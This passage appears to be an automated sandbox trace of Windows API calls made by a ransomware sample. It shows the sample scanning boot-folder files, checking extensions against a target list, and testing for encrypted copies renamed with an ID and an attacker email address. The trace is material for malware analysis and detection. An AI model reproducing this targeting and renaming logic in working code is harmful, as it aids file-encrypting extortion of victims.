returned 11 [0206.222] lstrlenW (lpString=".doc") returned 4 [0206.222] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0206.222] lstrlenW (lpString=".docx") returned 5 [0206.222] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0206.222] lstrlenW (lpString=".pdf") returned 4 [0206.222] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString=".xls") returned 4 [0206.223] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString=".xlsx") returned 5 [0206.223] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0206.223] lstrlenW (lpString=".ppt") returned 4 [0206.223] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.223] lstrlenW (lpString=".zip") returned 4 [0206.223] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString=".rar") returned 4 [0206.223] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString=".bz2") returned 4 [0206.223] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString=".7z") returned 3 [0206.223] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0206.223] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.223] lstrlenW (lpString=".dbf") returned 4 [0206.223] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.223] lstrlenW (lpString=".1cd") returned 4 [0206.223] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0206.223] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.223] lstrlenW (lpString=".jpg") returned 4 [0206.223] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.224] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.224] lstrlenW (lpString=".doc") returned 4 [0206.224] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".docx") returned 5 [0206.224] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0206.224] lstrlenW (lpString=".pdf") returned 4 [0206.224] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".xls") returned 4 [0206.224] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".xlsx") returned 5 [0206.224] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0206.224] lstrlenW (lpString=".ppt") returned 4 [0206.224] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.224] lstrlenW (lpString=".zip") returned 4 [0206.224] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".rar") returned 4 [0206.224] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".bz2") returned 4 [0206.224] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0206.224] lstrlenW (lpString=".7z") returned 3 [0206.224] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0206.224] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.224] lstrlenW (lpString=".dbf") returned 4 [0206.224] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0206.225] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.225] lstrlenW (lpString=".1cd") returned 4 [0206.225] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0206.225] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.225] lstrlenW (lpString=".jpg") returned 4 [0206.225] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0206.225] lstrcmpiW (lpString1=".LOG1", lpString2=".save") returned -1 [0206.225] lstrlenW (lpString="BCD.LOG1") returned 8 [0206.225] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.226] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=0) returned 1 [0206.226] CloseHandle (hObject=0x308) returned 1 [0206.226] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.226] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.226] lstrlenW (lpString=".doc") returned 4 [0206.226] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0206.226] lstrlenW (lpString=".docx") returned 5 [0206.226] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0206.226] lstrlenW (lpString=".pdf") returned 4 [0206.226] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0206.226] lstrlenW (lpString=".xls") returned 4 [0206.227] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString=".xlsx") returned 5 [0206.227] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0206.227] lstrlenW (lpString=".ppt") returned 4 [0206.227] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.227] lstrlenW (lpString=".zip") returned 4 [0206.227] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString=".rar") returned 4 [0206.227] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString=".bz2") returned 4 [0206.227] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString=".7z") returned 3 [0206.227] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.227] lstrlenW (lpString=".dbf") returned 4 [0206.227] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.227] lstrlenW (lpString=".1cd") returned 4 [0206.227] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.227] lstrlenW (lpString=".jpg") returned 4 [0206.227] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.228] lstrlenW (lpString=".doc") returned 4 [0206.228] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".docx") returned 5 [0206.228] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0206.228] lstrlenW (lpString=".pdf") returned 4 [0206.228] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".xls") returned 4 [0206.228] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".xlsx") returned 5 [0206.228] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0206.228] lstrlenW (lpString=".ppt") returned 4 [0206.228] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.228] lstrlenW (lpString=".zip") returned 4 [0206.228] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".rar") returned 4 [0206.228] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".bz2") returned 4 [0206.228] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString=".7z") returned 3 [0206.228] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0206.228] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.228] lstrlenW (lpString=".dbf") returned 4 [0206.228] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0206.228] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.228] lstrlenW (lpString=".1cd") returned 4 [0206.228] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0206.229] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0206.229] lstrlenW (lpString=".jpg") returned 4 [0206.229] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0206.229] lstrcmpiW (lpString1=".LOG2", lpString2=".save") returned -1 [0206.229] lstrlenW (lpString="BCD.LOG2") returned 8 [0206.229] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.230] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=0) returned 1 [0206.230] CloseHandle (hObject=0x308) returned 1 [0206.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.230] lstrlenW (lpString=".doc") returned 4 [0206.230] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0206.230] lstrlenW (lpString=".docx") returned 5 [0206.230] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0206.230] lstrlenW (lpString=".pdf") returned 4 [0206.230] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0206.230] lstrlenW (lpString=".xls") returned 4 [0206.230] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0206.230] lstrlenW (lpString=".xlsx") returned 5 [0206.230] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0206.230] lstrlenW (lpString=".ppt") returned 4 [0206.230] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0206.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.230] lstrlenW (lpString=".zip") returned 4 [0206.230] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString=".rar") returned 4 [0206.231] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString=".bz2") returned 4 [0206.231] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString=".7z") returned 3 [0206.231] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0206.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.231] lstrlenW (lpString=".dbf") returned 4 [0206.231] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.231] lstrlenW (lpString=".1cd") returned 4 [0206.231] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.231] lstrlenW (lpString=".jpg") returned 4 [0206.231] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.231] lstrlenW (lpString=".doc") returned 4 [0206.231] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString=".docx") returned 5 [0206.231] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0206.231] lstrlenW (lpString=".pdf") returned 4 [0206.231] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0206.231] lstrlenW (lpString=".xls") returned 4 [0206.232] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString=".xlsx") returned 5 [0206.232] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0206.232] lstrlenW (lpString=".ppt") returned 4 [0206.232] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.232] lstrlenW (lpString=".zip") returned 4 [0206.232] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString=".rar") returned 4 [0206.232] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString=".bz2") returned 4 [0206.232] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString=".7z") returned 3 [0206.232] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0206.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.232] lstrlenW (lpString=".dbf") returned 4 [0206.232] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.232] lstrlenW (lpString=".1cd") returned 4 [0206.232] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0206.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0206.232] lstrlenW (lpString=".jpg") returned 4 [0206.232] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0206.233] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0206.233] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0206.233] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.233] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=77664) returned 1 [0206.233] CloseHandle (hObject=0x308) returned 1 [0206.233] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0206.234] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.234] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.234] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.234] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.234] lstrlenW (lpString=".doc") returned 4 [0206.234] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.234] lstrlenW (lpString=".docx") returned 5 [0206.234] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.234] lstrlenW (lpString=".pdf") returned 4 [0206.234] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.234] lstrlenW (lpString=".xls") returned 4 [0206.234] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.234] lstrlenW (lpString=".xlsx") returned 5 [0206.234] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.234] lstrlenW (lpString=".ppt") returned 4 [0206.234] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.234] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.234] lstrlenW (lpString=".zip") returned 4 [0206.234] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.234] lstrlenW (lpString=".rar") returned 4 [0206.235] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.235] lstrlenW (lpString=".bz2") returned 4 [0206.235] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.235] lstrlenW (lpString=".7z") returned 3 [0206.235] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0206.235] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.235] lstrlenW (lpString=".dbf") returned 4 [0206.235] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0206.235] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.235] lstrlenW (lpString=".1cd") returned 4 [0206.235] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0206.235] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.235] lstrlenW (lpString=".jpg") returned 4 [0206.235] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0206.235] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.235] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.235] lstrlenW (lpString=".doc") returned 4 [0206.236] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.236] lstrlenW (lpString=".docx") returned 5 [0206.236] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.236] lstrlenW (lpString=".pdf") returned 4 [0206.236] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.236] lstrlenW (lpString=".xls") returned 4 [0206.236] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.236] lstrlenW (lpString=".xlsx") returned 5 [0206.236] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.236] lstrlenW (lpString=".ppt") returned 4 [0206.236] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.236] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.236] lstrlenW (lpString=".zip") returned 4 [0206.236] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.237] lstrlenW (lpString=".rar") returned 4 [0206.237] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.237] lstrlenW (lpString=".bz2") returned 4 [0206.237] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.237] lstrlenW (lpString=".7z") returned 3 [0206.237] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0206.237] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.237] lstrlenW (lpString=".dbf") returned 4 [0206.237] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0206.237] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.237] lstrlenW (lpString=".1cd") returned 4 [0206.237] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0206.237] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0206.237] lstrlenW (lpString=".jpg") returned 4 [0206.237] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0206.237] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0206.237] lstrlenW (lpString="bootspaces.dll") returned 14 [0206.237] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.239] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=95648) returned 1 [0206.239] CloseHandle (hObject=0x308) returned 1 [0206.239] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0206.239] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.239] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.239] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.240] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.240] lstrlenW (lpString=".doc") returned 4 [0206.240] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString=".docx") returned 5 [0206.240] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0206.240] lstrlenW (lpString=".pdf") returned 4 [0206.240] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString=".xls") returned 4 [0206.240] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString=".xlsx") returned 5 [0206.240] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0206.240] lstrlenW (lpString=".ppt") returned 4 [0206.240] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.240] lstrlenW (lpString=".zip") returned 4 [0206.240] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString=".rar") returned 4 [0206.240] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0206.240] lstrlenW (lpString=".bz2") returned 4 [0206.240] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0206.240] lstrlenW (lpString=".7z") returned 3 [0206.240] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0206.240] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.240] lstrlenW (lpString=".dbf") returned 4 [0206.240] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0206.240] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.240] lstrlenW (lpString=".1cd") returned 4 [0206.241] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0206.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.241] lstrlenW (lpString=".jpg") returned 4 [0206.241] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.241] lstrlenW (lpString=".doc") returned 4 [0206.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString=".docx") returned 5 [0206.241] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0206.241] lstrlenW (lpString=".pdf") returned 4 [0206.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString=".xls") returned 4 [0206.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString=".xlsx") returned 5 [0206.241] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0206.241] lstrlenW (lpString=".ppt") returned 4 [0206.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.241] lstrlenW (lpString=".zip") returned 4 [0206.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString=".rar") returned 4 [0206.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0206.241] lstrlenW (lpString=".bz2") returned 4 [0206.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0206.242] lstrlenW (lpString=".7z") returned 3 [0206.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0206.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.242] lstrlenW (lpString=".dbf") returned 4 [0206.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0206.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.242] lstrlenW (lpString=".1cd") returned 4 [0206.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0206.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0206.242] lstrlenW (lpString=".jpg") returned 4 [0206.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0206.242] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0206.242] lstrlenW (lpString="bootvhd.dll") returned 11 [0206.242] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.243] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=99744) returned 1 [0206.243] CloseHandle (hObject=0x308) returned 1 [0206.243] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0206.243] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.243] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.243] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.243] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.243] lstrlenW (lpString=".doc") returned 4 [0206.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString=".docx") returned 5 [0206.244] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0206.244] lstrlenW (lpString=".pdf") returned 4 [0206.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString=".xls") returned 4 [0206.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString=".xlsx") returned 5 [0206.244] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0206.244] lstrlenW (lpString=".ppt") returned 4 [0206.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.244] lstrlenW (lpString=".zip") returned 4 [0206.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString=".rar") returned 4 [0206.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0206.244] lstrlenW (lpString=".bz2") returned 4 [0206.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0206.244] lstrlenW (lpString=".7z") returned 3 [0206.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0206.244] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.244] lstrlenW (lpString=".dbf") returned 4 [0206.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0206.244] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.244] lstrlenW (lpString=".1cd") returned 4 [0206.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0206.244] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.244] lstrlenW (lpString=".jpg") returned 4 [0206.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.245] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.245] lstrlenW (lpString=".doc") returned 4 [0206.245] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString=".docx") returned 5 [0206.245] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0206.245] lstrlenW (lpString=".pdf") returned 4 [0206.245] 